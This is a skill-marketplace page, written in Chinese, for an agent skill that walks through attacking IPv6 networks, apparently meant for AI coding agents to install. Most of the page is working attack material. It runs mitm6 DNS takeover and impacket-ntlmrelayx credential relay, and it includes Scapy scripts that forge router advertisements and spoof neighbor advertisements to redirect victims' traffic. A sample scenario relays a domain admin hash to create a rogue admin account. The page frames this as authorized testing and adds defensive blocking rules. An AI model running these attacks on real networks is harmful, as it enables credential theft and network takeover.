# Exploiting Ipv6 Vulnerabilities

> 识别并利用 IPv6 特有漏洞，包括 SLAAC 欺骗、路由器通告泛洪和 IPv6 隧道， 在授权评估中测试双栈安全控制和 IPv6 感知网络防御。

- Skill: `killvxk/exploiting-ipv6-vulnerabilities` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/exploiting-ipv6-vulnerabilities`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/exploiting-ipv6-vulnerabilities/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/exploiting-ipv6-vulnerabilities

---

# 利用 IPv6 漏洞

## 适用场景

- 测试双栈（dual-stack）网络是否对 IPv4 和 IPv6 流量实施了一致的安全控制
- 演示在仅官方支持 IPv4 的网络上，未受管理的 IPv6 带来的风险
- 利用 SLAAC（无状态地址自动配置）和路由器通告（Router Advertisement）机制，通过 IPv6 实施中间人（MITM）攻击
- 测试 IPv6 感知防火墙规则以及 IDS/IPS 对 IPv6 特有攻击模式的检测能力
- 识别 IPv6 隧道协议（6to4、Teredo、ISATAP），这些协议可绕过仅限 IPv4 的安全控制

**禁止在以下情况使用**：未获书面授权的生产网络、IPv6 中断可能导致安全问题的系统，或针对网络基础设施的拒绝服务攻击。

## 前置条件

- 明确 IPv6 测试范围和批准技术的书面授权
- 已安装 THC-IPv6 工具包、Scapy 和 mitm6 的 Kali Linux
- 目标网络段上支持 IPv6 的网络接口
- 了解 IPv6 寻址、SLAAC、NDP 和路由器通告
- 用于捕获和分析 IPv6 流量的 Wireshark

## 工作流程

### 步骤 1：枚举网络上的 IPv6

```bash
# 检查本地接口上是否启用了 IPv6
ip -6 addr show

# 使用组播发现本地链路上的 IPv6 主机
ping6 -c 3 ff02::1%eth0
# ff02::1 = 全节点组播地址

# 使用 THC-IPv6 工具包中的 alive6 发现主机
sudo alive6 eth0

# 使用 Nmap 扫描启用 IPv6 的主机
nmap -6 --script ipv6-multicast-mld-list -e eth0
nmap -6 -sn --script targets-ipv6-multicast-echo -e eth0

# 检查网络上的路由器通告
sudo tcpdump -i eth0 -n -v icmp6 and 'ip6[40] == 134'
# Type 134 = 路由器通告

# 使用 radvdump 捕获现有 RA
sudo radvdump

# 检查 DHCPv6 服务器
sudo dhclient -6 -v eth0 --request-only
```

### 步骤 2：使用 mitm6 执行基于 SLAAC 的 MITM 攻击

```bash
# mitm6 利用 Windows 主机在看到路由器通告时通过 DHCPv6 请求
# IPv6 配置的默认行为

# 启动 mitm6 成为 IPv6 DNS 服务器
sudo mitm6 -d example.com -i eth0

# mitm6 执行以下操作：
# 1. 发送路由器通告以在受害者上启用 IPv6
# 2. 响应 DHCPv6 请求，将自身指定为 DNS 服务器
# 3. 受害者现在通过 IPv6 向攻击者发送 DNS 查询
# 4. 攻击者可以使用欺骗的 DNS 回复进行响应

# 结合 ntlmrelayx 进行凭据中继
sudo impacket-ntlmrelayx -6 -tf targets.txt -wh fake-wpad.example.com -l /tmp/loot

# 此漏洞利用：
# 1. WPAD（Web 代理自动发现）通过 DNS
# 2. Windows 向 WPAD 代理发送 NTLM 身份验证
# 3. ntlmrelayx 将凭据中继到目标服务器
```

### 步骤 3：路由器通告欺骗

```python
#!/usr/bin/env python3
"""用于授权 IPv6 测试的虚假路由器通告。"""

from scapy.all import *
from scapy.layers.inet6 import *

# 构造路由器通告数据包
# 这使攻击者看起来像默认 IPv6 路由器

iface = "eth0"
attacker_mac = get_if_hwaddr(iface)
attacker_ipv6 = get_if_addr6(iface)

ra = (
    Ether(dst="33:33:00:00:00:01") /  # 全节点组播
    IPv6(src=attacker_ipv6, dst="ff02::1") /
    ICMPv6ND_RA(
        routerlifetime=1800,     # 通告作为路由器持续 30 分钟
        prf=1,                   # 高优先级
        M=0,                     # 无托管标志（使用 SLAAC）
        O=1                      # 其他配置通过 DHCPv6（DNS）
    ) /
    ICMPv6NDOptSrcLLAddr(lladdr=attacker_mac) /
    ICMPv6NDOptPrefixInfo(
        prefix="2001:db8:dead::",  # 虚假前缀
        prefixlen=64,
        L=1,
        A=1,
        validlifetime=3600,
        preferredlifetime=1800
    ) /
    ICMPv6NDOptRDNSS(
        dns=[attacker_ipv6],  # 攻击者作为 DNS 服务器
        lifetime=1800
    )
)

print(f"[*] 从 {attacker_ipv6} 发送虚假路由器通告")
print(f"[*] 通告前缀 2001:db8:dead::/64")
sendp(ra, iface=iface, count=5, inter=2)
print("[*] RA 数据包已发送。受害者将使用虚假前缀配置 IPv6。")
```

### 步骤 4：IPv6 邻居发现攻击

```bash
# 邻居通告欺骗（IPv6 中 ARP 欺骗的等价操作）
# 使用 THC-IPv6 的 parasite6 工具
sudo parasite6 eth0

# 或使用 Scapy 构造
python3 << 'PYEOF'
from scapy.all import *
from scapy.layers.inet6 import *

# 欺骗邻居通告以重定向流量
target_ipv6 = "2001:db8::50"    # 受害者 IPv6 地址
gateway_ipv6 = "2001:db8::1"    # 网关 IPv6 地址
attacker_mac = get_if_hwaddr("eth0")

# 告诉受害者我们是网关
na = (
    Ether(dst="33:33:00:00:00:01") /
    IPv6(src=gateway_ipv6, dst="ff02::1") /
    ICMPv6ND_NA(
        tgt=gateway_ipv6,
        R=1, S=0, O=1  # 路由器标志、Override 标志
    ) /
    ICMPv6NDOptDstLLAddr(lladdr=attacker_mac)
)

print("[*] 发送欺骗的邻居通告...")
sendp(na, iface="eth0", count=100, inter=1)
PYEOF

# 使用 ndpmon 检测 NDP 欺骗
sudo ndpmon -i eth0
```

### 步骤 5：IPv6 隧道检测与利用

```bash
# 检测 Teredo 隧道（IPv6 over UDP 端口 3544）
sudo tshark -i eth0 -Y "udp.port == 3544" -T fields -e ip.src -e ip.dst

# 检测 6to4 隧道（协议 41）
sudo tshark -i eth0 -Y "ip.proto == 41" -T fields -e ip.src -e ip.dst

# 检测 ISATAP 隧道
sudo tshark -i eth0 -Y "ip.proto == 41 and ipv6.dst contains \"::5efe:\"" -c 10

# 扫描启用 Teredo 的主机
nmap -6 -sU -p 3544 --open 10.10.0.0/24

# 测试 IPv6 隧道是否绕过 IPv4 防火墙规则
# 如果允许 Teredo，IPv6 流量可以绕过仅限 IPv4 的防火墙
curl -6 http://[2001:db8::50]:8080/  # 通过 IPv6 隧道访问

# 在防火墙上阻止不需要的 IPv6 隧道
# iptables：阻止协议 41（6to4、ISATAP）和 Teredo
sudo iptables -A INPUT -p 41 -j DROP
sudo iptables -A OUTPUT -p 41 -j DROP
sudo iptables -A INPUT -p udp --dport 3544 -j DROP
sudo iptables -A OUTPUT -p udp --dport 3544 -j DROP
```

### 步骤 6：测试 IPv6 防火墙规则并记录

```bash
# 验证 ip6tables 规则是否到位
sudo ip6tables -L -n -v

# 测试 IPv6 防火墙是否反映了 IPv4 规则
# 常见疏漏：IPv4 防火墙严格，IPv6 完全开放
nmap -6 -sS -p- <target_ipv6_address>

# 比较 IPv4 和 IPv6 扫描结果
nmap -sS -p 1-1024 10.10.20.10 -oA ipv4_scan
nmap -6 -sS -p 1-1024 2001:db8::10 -oA ipv6_scan
diff <(grep "open" ipv4_scan.nmap) <(grep "open" ipv6_scan.nmap)

# 检查交换机上的 IPv6 RA Guard
# Cisco: show ipv6 snooping policies
# 如果未启用，记录为发现项

# 清理：停止所有 IPv6 攻击工具
sudo killall mitm6 parasite6 2>/dev/null
```

## 核心概念

| 术语 | 定义 |
|------|------|
| **SLAAC（无状态地址自动配置）** | IPv6 机制，主机无需 DHCP 服务器即可从路由器通告自动配置地址，可被虚假 RA 注入利用 |
| **路由器通告（RA，Router Advertisement）** | 路由器发出的 ICMPv6 消息，宣布网络前缀、默认网关和 DNS 配置；虚假 RA 可实现 MITM 攻击 |
| **NDP（邻居发现协议，Neighbor Discovery Protocol）** | IPv6 替代 ARP，使用 ICMPv6 进行地址解析、路由器发现和重复地址检测；易受欺骗攻击 |
| **mitm6** | 利用 Windows DHCPv6 偏好成为 IPv6 DNS 服务器的工具，可实现 DNS 欺骗和 NTLM 凭据中继 |
| **RA Guard** | 交换机级别安全功能，过滤虚假路由器通告，防止未授权主机充当 IPv6 路由器 |
| **IPv6 隧道** | 将 IPv6 数据包封装在 IPv4 内（6to4、Teredo、ISATAP），可绕过仅限 IPv4 的安全控制和防火墙 |

## 工具与系统

- **mitm6**：利用 SLAAC 和 DHCPv6 成为 Windows 主机 DNS 服务器的 IPv6 MITM 工具
- **THC-IPv6 Toolkit**：全面的 IPv6 攻击工具包，包括 alive6、parasite6、fake_router6 和泛洪工具
- **Scapy**：用于构造自定义 ICMPv6 路由器通告和邻居发现数据包的 Python 数据包操控工具
- **ndpmon**：IPv6 邻居发现协议监控器，检测虚假 RA 和 NDP 欺骗
- **Nmap**：支持完整 IPv6 的网络扫描器，包括组播发现和 IPv6 特定脚本

## 常见场景

### 场景：利用仅使用 IPv4 的企业网络上未受管理的 IPv6

**背景**：某公司在其企业网络上正式仅使用 IPv4，但 Windows 工作站默认启用了 IPv6。在一次内部渗透测试中，测试人员发现 IPv6 在 VLAN 上处于活动状态，且未部署任何 IPv6 安全控制（RA Guard、IPv6 ACL）。

**方法**：
1. 发现所有 Windows 工作站都有链路本地 IPv6 地址，并在监听路由器通告
2. 运行 mitm6 发送 DHCPv6 响应，成为 VLAN 上所有 Windows 主机的 IPv6 DNS 服务器
3. 配置 ntlmrelayx 将 WPAD 触发的 NTLM 身份验证中继到域控制器
4. 5 分钟内，从 12 台工作站捕获并中继 NTLM 凭据，获取对文件共享的访问权限
5. 成功将域管理员的 NTLM 哈希中继，创建新的域管理员账户
6. 记录缺乏 IPv6 安全控制使得在不利用任何传统漏洞的情况下实现了完整的域控制
7. 建议在不需要 IPv6 的地方禁用它、在交换机上部署 RA Guard，并在防火墙上阻止 DHCPv6

**注意事项**：
- 向网络泛洪路由器通告可能导致某些设备不稳定
- mitm6 会影响 VLAN 上所有 Windows 主机，而不仅仅是目标——确保范围涵盖所有潜在受影响主机
- 某些环境有依赖 IPv6 的服务（SCCM、某些 Azure 服务），当 IPv6 受到干扰时会中断
- 忘记检查可能提供替代攻击路径的 IPv6 隧道协议

## 输出格式

```
## IPv6 安全评估报告

**测试 ID**：IPV6-2024-001
**目标网络**：VLAN 10（10.10.10.0/24，无官方 IPv6）
**评估日期**：2024-03-15

### IPv6 发现

| 发现项 | 详情 |
|--------|------|
| 已启用 IPv6 的主机 | 147/150 台工作站（Windows 默认） |
| 链路本地地址 | 所有已发现主机上均活动 |
| 路由器通告 | 未检测到（无 IPv6 路由器） |
| DHCPv6 服务器 | 不存在 |
| RA Guard | 交换机上未配置 |
| IPv6 防火墙规则 | 无（ip6tables 为空） |

### 攻击结果

| 攻击 | 结果 | 影响 |
|------|------|------|
| mitm6 DNS 接管 | 成功 | 成为 147 台主机的 IPv6 DNS |
| WPAD NTLM 中继 | 成功 | 捕获 23 次 NTLM 身份验证 |
| 域管理员中继 | 成功 | 创建了虚假域管理员账户 |
| IPv6 端口扫描 | 成功 | 所有端口开放（无 ip6tables 规则） |

### 建议
1. 在所有接入层交换机上部署 RA Guard（严重）
2. 配置与 IPv4 防火墙规则匹配的 IPv6 ACL（严重）
3. 在不需要 IPv6 的地方通过组策略禁用 DHCPv6 客户端
4. 在防火墙上阻止 IPv6 隧道协议（6to4、Teredo）
5. 部署 IPv6 感知的 IDS 规则用于 NDP 欺骗检测
```

